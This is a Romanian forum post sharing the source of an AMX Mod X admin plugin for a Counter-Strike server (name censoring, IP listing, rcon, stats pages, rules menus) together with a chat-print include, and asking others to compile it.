return PLUGIN_CONTINUE;
}
if (!g_Llama[player])
{
return PLUGIN_HANDLED;
}
g_Llama[player] = false;
new name2[32];
get_user_name(player,name2, 31);
print(0, "^x01* [^x04Auto Unllama^x01]^x03 %s^x01 i-a expirat cenzura", name2);
client_cmd(player,"name ^"NotALlama^"");
return PLUGIN_HANDLED;
}
public cmdunllama(id,level,cid)
{
if(!cmd_access(id,level,cid,2))
{
return PLUGIN_HANDLED;
}
new arg[32];
read_argv(1, arg, 31);
new player = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY);
new name2[32], name[32];
get_user_name(player, name2, 31);
get_user_name(id, name, 31);
if(!player)
{
return PLUGIN_HANDLED;
}
if(!g_Llama[player])
{
console_print(id,"Jucatorul specificat nu are cenzura!");
return PLUGIN_HANDLED;
}
g_Llama[player] = false;
client_cmd(player,"name ^"NotALlama^"");
log_amx("%s: amx_unllama %s", name, name2);
client_print(id, print_chat, "%s: amx_unllama %s",name,name2);
return PLUGIN_HANDLED;
}
public cmdlistmaps(id, level, cid)
{
if(!cmd_access(id,level,cid,1))
{
return PLUGIN_HANDLED;
}
new text[256], mapname[50], about[128], a;
new pos = -1;
while(read_file(fileName[maps], ++pos, text, 255, a) > 0)
{
if(text[0] != ';')
{
parse(text, mapname, 49, about, 127);
client_print(id, print_console, "%s %s^n", mapname, about);
}
}
return PLUGIN_HANDLED;
}
public cmdplugins(id, level, cid)
{
if (!cmd_access(id, level, cid, 1))
{
return PLUGIN_HANDLED;
}
new num = get_pluginsnum();
console_print(id, "Pluginuri");
console_print(id, "%-18.17s %-8.7s %-17.16s %-16.15s %-9.8s", "Nume", "Versiune", "Autor", "Fisier", "Situatie");
new name[32], version[32], author[32], filename[32], status[32];
for (new i = 0; i <num; i++)
{
get_plugin(i, filename, 31, name, 31, version, 31, author, 31, status, 31);
console_print(id, "%-18.17s %-8.7s %-17.16s %-16.15s %-9.8s", name, version, author, filename, status);
}
console_print(id, "Total: %d pluginuri", num);
return PLUGIN_HANDLED;
}
public cmdshowip(id)
{
console_print(id, "Lista Ip-uri");
new players[32], num;
get_players(players, num);
for(new i = 0 ; i < num ; i++)
{
new name[32], ip[32];
get_user_name(players[i], name, 31)
get_user_ip(players[i], ip, 31, 1);
if(strlen(name) > 20)
{
copy(name,17,name);
add(name,64,"...");
}
console_print(id, "%-25.24s %-16.15s^n", name, ip);
}
return PLUGIN_HANDLED;
}
public cmdWho(id)
{
new players[32], inum, player, name[32], i, a
get_players(players, inum)
console_print(id, "=========================================^n")
for(i = 0; i < MAX_GROUPS; i++)
{
for(a = 0; a < inum; ++a)
{
player = players[a]
get_user_name(player, name, 31)
if(get_user_flags(player) == g_groupFlagsValue[i])
{
console_print(id, "%s: %s", g_groupNames[i], name)
}
}
}
console_print(id, "^nPentru cereri de orice tip visit www.raii.ro/forum.php sau ID Y!M:orlando_sukaru97^n=========================================")
return PLUGIN_HANDLED
}
public cmdlastip(id, level, cid)
{
if(!cmd_access(id, level, cid , 1))
{
return PLUGIN_HANDLED;
}
if(!gLastUsers[0][gUserName][0])
{
console_print(id, "Nici o deconectare detectata");
return PLUGIN_HANDLED;
}
for(new i = 0 ; i < 5 ; i++)
{
if(!gLastUsers[i][gUserName][0] || !gLastUsers[i][gUserIp][0])
{
return PLUGIN_CONTINUE;
}
console_print(id, "%-25.24s %-16.15s", gLastUsers[i][gUserName], gLastUsers[i][gUserIp]);
}
return PLUGIN_HANDLED;
}
public cmdrcon(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[128];
read_args(arg, 127);
server_cmd("%s", arg);
new name[32];
get_user_name(id, name, 31);
log_amx("%s: RCON ^"%s^"", name, arg);
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_rcon ^x01^"%s^"", name, arg);
return PLUGIN_HANDLED;
}
public cmdresetstats(id,level,cid)
{
if(!cmd_access(id,level,cid,1))
{
return PLUGIN_HANDLED;
}
new name[32];
get_user_name(id,name,31);
server_cmd("csstats_reset 1");
log_amx("%s: csstats_reset 1",name);
client_print(id, print_chat, "Statisticile o sa se reseteze la schimbarea plansei");
client_print(0, print_chat, "%s: amx_resetstats!", name);
return PLUGIN_HANDLED;
}
public cmdimmoff(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[32], name[32], name2[32];
read_argv(1, arg, 31);
new player = cmd_target(id,arg,8);
get_user_name(id, name, 31);
get_user_name(player, name2, 31);
if (!player)
{
return PLUGIN_HANDLED;
}
if(!(get_user_flags(player)&(1<<0)))
{
client_print(id,print_chat,"Jucatorul %s nu avea imunitate de dinainte",name);
g_MakeSure[player] = 0;
return PLUGIN_HANDLED;
}
remove_user_flags(player,(1<<0),0);
g_MakeSure[player] = 1;
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_immuneoff ^x01%s", name, name2);
log_amx("%s: amx_immuneoff %s", name, name2);
return PLUGIN_HANDLED;
}
public cmdimmon(id, level, cid)
{
if (!cmd_access(id,level,cid,1))
{
return PLUGIN_HANDLED
}
new arg[32], name[32];
read_argv(1, arg, 31);
new player = cmd_target(id, arg, 8);
get_user_name(id, name, 31);
if (!player)
{
return PLUGIN_HANDLED;
}
new name2[32];
get_user_name(player, name2, 31);
if(!(get_user_flags(player)&(1<<0)))
{
if(!g_MakeSure[player])
{
client_print(id,print_chat,"Jucatorul %s nu e autorizat sa aibe immunitate", name);
return PLUGIN_HANDLED;
}
set_user_flags(player,(1<<0),0);
return PLUGIN_HANDLED;
}
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_immuneon ^x01%s", name, name2);
return PLUGIN_HANDLED;
}
/*
public cmdadmin(id)
{
client_print(id, print_chat, ">>>>>> WHO'S ONLINE? <<<<<<");
print(id, "^x01[DR] Tasteaza^x04 amx_who^x01 in consola ca sa afli adminii prezenti pe server");
print(id, "^x01 Pentru mai multe informatii tasteaza^x04 amx_help^x01 in consola");
client_print(id, print_chat, "---------------------------");
return PLUGIN_HANDLED;
}
*/
public cmdtimeleft(id)
{
if (get_pcvar_float(pointer_timelimit))
{
new timeleft = get_timeleft();
print(id, "^x04[GORJ.RaII.RO] ^x01Timp Ramas:^x04 %d:%02d", timeleft / 60, timeleft % 60);
}
else
{
print(id, "^x04[GORJ.RaII.RO] ^x01Timp Ramas:^x04 -");
}
return PLUGIN_HANDLED;
}
public cmdthetime(id)
{
new ctime[64];
get_time("%H:%M:%S", ctime, 63);
print(id, "^x04[GORJ.RaII.RO] ^x01Ora este^x04 %s", ctime);
return PLUGIN_HANDLED;
}
/*
public cmdrs(id)
{
if(!is_user_alive(id))
{
print(id, "^x01* Trebui sa fi^x04 viu^x01 ca sa folosesti aceasta comanda!");
return PLUGIN_HANDLED;
}
if(get_user_deaths(id) == 0 && get_user_frags(id) == 0)
{
print(id, "^x01* Scorul tau era^x04 0^x01!");
return PLUGIN_HANDLED;
}
set_pev(id, pev_frags, 0.0);
set_pdata_int(id, OFFSET_DEATHS, 0, OFFSET_LINUX_D);
print(id, "^x01* Scorul o sa ti se^x03 reseteze^x01 la inceput de runda!");
return PLUGIN_HANDLED;
}
*/
public cmdcurrentmap(id)
{
new mapname[32];
get_mapname(mapname, 31);
print(id, "^x04[GORJ.RaII.RO] ^x01Harta curenta este^x04 %s", mapname);
return PLUGIN_HANDLED;
}
public cmdspec(id, level, cid)
{
if (!cmd_access(id, level, cid, 1))
{
return PLUGIN_HANDLED;
}
if (cs_get_user_team(id) == CS_TEAM_SPECTATOR)
{
console_print(id, "Esti deja spectator");
return PLUGIN_HANDLED;
}
if(!is_user_alive(id))
{
client_print(id, print_center, "Ai fost mutat la spectator")
cs_set_user_team(id, CS_TEAM_SPECTATOR);
return PLUGIN_HANDLED;
}
user_silentkill(id);
cs_set_user_team(id, CS_TEAM_SPECTATOR);
client_print(id, print_center, "Ai fost mutat la spectator")
return PLUGIN_HANDLED;
}
public cmdharti(id)
{
new HartiAnterioare[192], n;
n += formatex(HartiAnterioare[n], 191-n, "[GORJ.RaII.RO] Hartile jucate anterior sunt:");
for(new i; i<HartiMaxime; i++)
{
if(!NumeHarti[i][0])
{
n += formatex(HartiAnterioare[n-1], 191-n+1, ".");
break;
}
n += formatex(HartiAnterioare[n], 191-n, " %s%s", NumeHarti[i], i+1 == HartiMaxime ? "." : ",");
}
client_print(id, print_chat, HartiAnterioare);
return PLUGIN_HANDLED;
}
public cmdtop(id)
{
new g_Buffer[2048];
new iMax = get_statsnum();
new izStats[8], izBody[8], t_sName[32];
new pos = 0;
if (iMax > 10)
{
iMax = 10;
}
pos = copy(g_Buffer, 2047, "<html><head><body><style type= ^"text/css^">");
pos += copy(g_Buffer[pos], 2047 - pos, "body{font-family:Verdana;font-size:12px;font-weight:bold;color:#ff0000;background-color:#000000;}.style1 {color:#ff0000;font-weight:bold;font-size:12px;}.style2{font-family:Verdana;font-size:11px;font-weight:bold;color:#FFFFFF;}</style><center><font size=4><font color=^"red^"><B>Top 10 GORJ.RaII.RO</B></color></front><hr size=0 color=black></head>")
pos += copy(g_Buffer[pos], 2047 - pos, "<body><center><table><tr class=^"style1^"><td>Rank</td><td>Nume</td><td>Puncte</td></tr>")
for (new i = 0; i < iMax && 2047 - pos > 0; i++)
{
get_stats(i, izStats, izBody, t_sName, 31)
replace_all(t_sName, 31, "<", "[");
replace_all(t_sName, 31, ">", "]");
pos += format(g_Buffer[pos], 2047 - pos, "<tr class=^"style2^"><td>%2d.</td><td>%-22.22s</td><td>%6d</td></tr>", i + 1, t_sName, izStats[0]);
}
show_motd(id, g_Buffer, "Top 10 GORJ.RaII.RO");
return PLUGIN_HANDLED;
}
public cmdtop15(id)
{
new g_Buffer[2048];
new iMax = get_statsnum();
new izStats[8], izBody[8], t_sName[32];
new pos = 0;
if (iMax > 15)
{
iMax = 15;
}
pos = copy(g_Buffer, 2047, "<html><head><body><style type= ^"text/css^">");
pos += copy(g_Buffer[pos], 2047 - pos, "body{font-family:Verdana;font-size:12px;font-weight:bold;color:#ff0000;background-color:#000000;}.style1 {color:#ff0000;font-weight:bold;font-size:12px;}.style2{font-family:Verdana;font-size:11px;font-weight:bold;color:#FFFFFF;}</style><center><font size=4><font color=^"red^"><B>Top 15 GORJ.RaII.RO</B></color></front><hr size=0 color=black></head>")
pos += copy(g_Buffer[pos], 2047 - pos, "<body><center><table><tr class=^"style1^"><td>Rank</td><td>Nume</td><td>Puncte</td></tr>")
for (new i = 0; i < iMax && 2047 - pos > 0; i++)
{
get_stats(i, izStats, izBody, t_sName, 31)
replace_all(t_sName, 31, "<", "[");
replace_all(t_sName, 31, ">", "]");
pos += format(g_Buffer[pos], 2047 - pos, "<tr class=^"style2^"><td>%2d.</td><td>%-22.22s</td><td>%6d</td></tr>", i + 1, t_sName, izStats[0]);
}
show_motd(id, g_Buffer, "Top 15 GORJ.RaII.RO");
return PLUGIN_HANDLED;
}
public cmdrank(id)
{
new stats[8], body[8];
new rank_pos = get_user_stats(id,stats,body);
new max_rank = get_statsnum();
print(id, "^x04[GORJ.RaII.RO] ^x01Rank-ul tau este^x04 %d^x01 /^x04 %d^x01 cu^x04 %d^x01 puncte.", rank_pos, max_rank, stats[0]);
return PLUGIN_HANDLED;
}
public cmdcomenzi(id)
{
show_motd(id,"addons/amxmodx/configs/indungi/comenzi.txt", "COMENZI DR");
return PLUGIN_HANDLED;
}
public cmdradio(id)
{
show_motd(id,"addons/amxmodx/configs/indungi/radio.txt", "RADIO");
return PLUGIN_HANDLED;
}
public cmdreguli(id)
{
show_motd(id,"addons/amxmodx/configs/indungi/reguli.txt", "REGULI");
return PLUGIN_HANDLED;
}
public cmdore(id)
{
show_motd(id,"addons/amxmodx/configs/indungi/ore.txt", "Ore");
return PLUGIN_HANDLED;
}
public message_saytext()
{
new szBuff[28];
get_msg_arg_string(2, szBuff, 27)
if( equal( szBuff, "#Cstrike_Name_Change" ) )
{
return PLUGIN_HANDLED;
}
return PLUGIN_CONTINUE;
}
public plugin_end()
{
for(new i = 0; i < get_maxplayers(); i++)
{
if(g_MakeSure[i])
{
set_user_flags(i,(1<<0),0);
}
}
return PLUGIN_HANDLED;
}
Si uitati aici si ce mai include
#include <cfg_chat>
Code: Select all
/* Cfg_chat by anakin@2008 for CFG COMMUNITY
* adauga in plugin_init
* g_msgsaytext = get_user_msgid("SayText");
*------------------------------
* For more plugins visit www.cfg.ro
*/
new g_msgsaytext
print( id, const message[], { Float, Sql, Result, _ }:... )
{
new Buffer[ 128 ],Buffer2[ 128 ];
new players[ 32 ], index, num, i;
formatex( Buffer2, sizeof Buffer2 - 1, "%s",message );
vformat( Buffer, sizeof Buffer - 1, Buffer2, 3 );
get_players( players, num, "c" );
if( id )
{
if( !is_user_connected( id ))
return;
message_begin( MSG_ONE, g_msgsaytext, _, id );
write_byte( id );
write_string( Buffer );
message_end();
} else {
for( i = 0; i < num;i++ )
{
index = players[ i ];
if( !is_user_connected( index ))
continue;
message_begin( MSG_ONE, g_msgsaytext, _, index );
write_byte( index );
write_string( Buffer );
message_end();
}
}
}
Va sunt recunoscator daca mi-l compilati !!!